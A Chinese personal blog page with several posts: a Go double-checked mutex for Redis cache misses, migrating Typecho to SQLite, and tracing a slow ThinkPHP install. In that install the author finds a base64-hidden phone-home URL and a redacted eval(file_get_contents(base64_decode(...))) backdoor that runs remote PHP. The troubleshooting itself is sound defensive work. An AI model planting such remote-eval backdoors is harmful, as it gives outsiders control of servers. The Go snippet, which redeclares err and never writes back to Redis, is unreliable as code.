分类 工作&技术 下的文章

程序在处理请求读取非实时数据时,通常会先从 Redis 缓存中获取数据。如果缓存失效或过期,程序会转而从数据库读取最新数据,然后将结果写回 Redis。听起来没问题,对吧?确实,这是标准的缓存更新流程,我最初也没觉得有什么不对。
但问题来了:在高并发场景下,事情就没那么简单了。假设缓存恰好失效,从缓存过期到新数据写入 Redis 的这段时间,哪怕只有几十毫秒就可能有无数个请求同时涌入。这些请求发现缓存没了,都会去查数据库、更新 Redis,轻则系统负荷升高,重则引起缓存混乱系统失效。我脑子不好使没转过弯,想不出啥好办法解决。后来一问ai,才发现,哎,这早就是个成熟的算法了,简单又巧妙,赶紧写下来备忘!

var dupMu sync.Mutex   //互斥锁,用来锁定缓存失效请求
func heavyLoadFunc() {
  err:=LoadFromRds(keyname, param, &list)  //读redis
  if err==nil && list!=nil {   //缓存命中直接返回数据
    ....
    return list
  }
  dupMu.Lock()     //双重缓存锁。缓存未命中,锁定,只允许一个个排队进入
  defer dupMu.Unlock()
  err:=LoadFromRds(keyname, param, &list)   //第二次读取redis。即,排队的未命中请求,第一个请求会缓存再次失败进入数据库更新redis数据,但在第一个完成后,其余请求即可从redis获得数据,防止再次更新。太巧妙和简单了。
  if err==nil && list!=nil {
    ....
    return list
  }
  list,err=getDataFromDb()  //从数据库更新
  return list  
}

你没猜错,我就是吃饱了撑的,折腾一下,练下手艺。
大道理当然也会讲嘛,mysql资源占用太大,博客这种东西,不用浪费资源,sqlite足也。(当然,我不会告诉你的是,我rs1000 8g的内存空余7g多,cpu占用是0.00)。
首先,需要导出当前mysql的sql文件,mysqldump人人都会,不用说了。但如果你问gpt的话,它会让你加上一些兼容的参数,一加,反而不行,中文乱码了,所以,用默认的参数导出即可。
然后下载sql语句转换工具,因为sqlite与mysql在sql层级有小小区别。 https://raw.githubusercontent.com/dumblob/mysql2sqlite/master/mysql2sqlite
转换sql文件为sqlite格式,再用sqlite3导入上述的sql文件即可。
将sqlite数据库文件放入php可以访问到的非web的目录(你总不希望别人直接下载你的数据库吧),重要的事情来了,一定要确保这个目录php进程有写权限。sqlite文件自然需要有写权限,但该目录也一定要有写权限,因为在同级目录sqlite会建临时的wal和shm文件。
最后,修改typecho的config.inc.php,将mysql改成sqlite:

$db = new Typecho_Db('Pdo_SQLite', 'typecho_');
$db->addServer(array (
  'file' => 'sqlite文件绝对路径',
), \Typecho\Db::READ | \Typecho\Db::WRITE);

如果php没有安装pdo_sqlite模块的话,也需要装一下。
在配置文件中加上define("__TYPECHO_DEBUG__",true); 可以看到详细的出错信息,如果你不幸出错了的话。

前些天弄了套thinkphp源码来玩,结果,今天发现极其卡顿,明显不正常。直觉就是远程访问了个啥东西,因为这卡顿时间还不固定,时快时慢,但昨天前又都是正常的。
花了几个小时,终于找到了问题。记录下排查核心点。

strace -fp $(pgrep -d, php-fpm) -e trace=network,open,read,write,connect 排查一下php偷偷在后面访问了些啥

找到了:

[pid  6412] getpeername(7, {sa_family=AF_INET, sin_port=htons(83), sin_addr=inet_addr("x.x.x.x")}, [128 => 16]) = 0
[pid  6412] getsockname(7, {sa_family=AF_INET, sin_port=htons(36752), sin_addr=inet_addr("x.x.x.x")}, [128 => 16]) = 0
[pid  6412] sendto(7, "POST /xxxx/getAuth HT"..., 186, MSG_NOSIGNAL, NULL, 0) = 186
[pid  6412] sendto(7, "--------------------------fab30f"..., 993, MSG_NOSIGNAL, NULL, 0) = 993

php在后台post了个 http://x.x.x.x:83/...../getAuth,显然,这就是问题了。
这台机器应该是今天不稳定,所以,getAuth很久才响应,引起了系统卡顿。
知道getAuth了就容易了,grep -r 一下,所有的getAuth都找到,然后log一下,瞬间就找到了执行它的代码:

        public function __construct($uniacid, $goodsName, $is_debug = false)
        {
                $this->is_debug = $is_debug;
                $this->token_path = dirname(__FILE__) . "/token.key";
                $this->uniacid = $uniacid . "";
                $this->goods_name = $goodsName;
            $this->base_url = base64_decode('xxxxxxxxxxxxxxxxxxxxxxxx');
、        $this->check_url = $this->base_url .'auth/xxxxxxx/index';
        $this->uploadWxapp_url = $this->base_url .'auth/xxxxxxxx/uploadWxapp';
        $this->getUpRecord_url = $this->base_url .'auth/xxxxxx/getUpRecord';
        $this->get_auth_url = $this->base_url .'auth/xxxxxx/getAuth' ;

再清楚不过了,它把base_url用base64加了下密,难怪grep不到那个ip地址。
把base_url改成 http://127.0.0.1,搞定,完事。

然后,用这个ip的base64值,又找到了很多好玩的东西:

<?php
namespace app\agent\controller;

use think\App;

class HouseController
{
   public function list ()
    {
    eval(file_get_contents(base64_decode('xxxxxxxxxx')));exit;
    }

}

上面base64解码出来是: http://xxxxxxx/excesqls.php
尼玛。。

上次为ai充钱是deepseek,到现在还是瘫痪状态,妥妥的废物,虽然我承认deepseek输出质量很高。
这次看看马斯克争不争气了。他家这么有钱,应该不缺钱买显卡,我觉得有戏。
这个充钱5刀以后每月送150刀活动有些人觉得有问题,其实不是的。
Get $150 worth of free API credits a month by sharing your API requests and help us improve Grok. Once enabled, you cannot opt-out.
英语文法上来说,这是很标准的每个月送150的说法,而不是一个月。中文直译才会以为a month是一个月的意思。
另外,一旦参加共享就不能退出其实也是旁证,领一个月就想要获得一个人终生的隐私,美国人会吊死马斯克的,就算不吊,也会用脚投票,老马门清得很,不会做傻事。

xai1.jpg

别误会,只是在说deepseek。
全网都是一片欢呼,每天都无数人在用所谓亲身体验表明它是有多么的遥遥领先。然而,这一个多月来,一个对话高达6个小时的cd时间,都不扯别的,至少要能用才能知道到底领不领先啊!
我在这个事情上一直很客观,毕竟我要靠ai来码代码养家,在先前还能正常用的情况下,我确实得出结论deepseek比chatgpt好用。然而,现在那些突然冒出来的自媒体甚至官媒,他们是凭什么在这些天得出结论的?
听说现在连秦始皇被复活了的搞笑段子也需要得辟谣才行,呵呵。

繁忙.jpg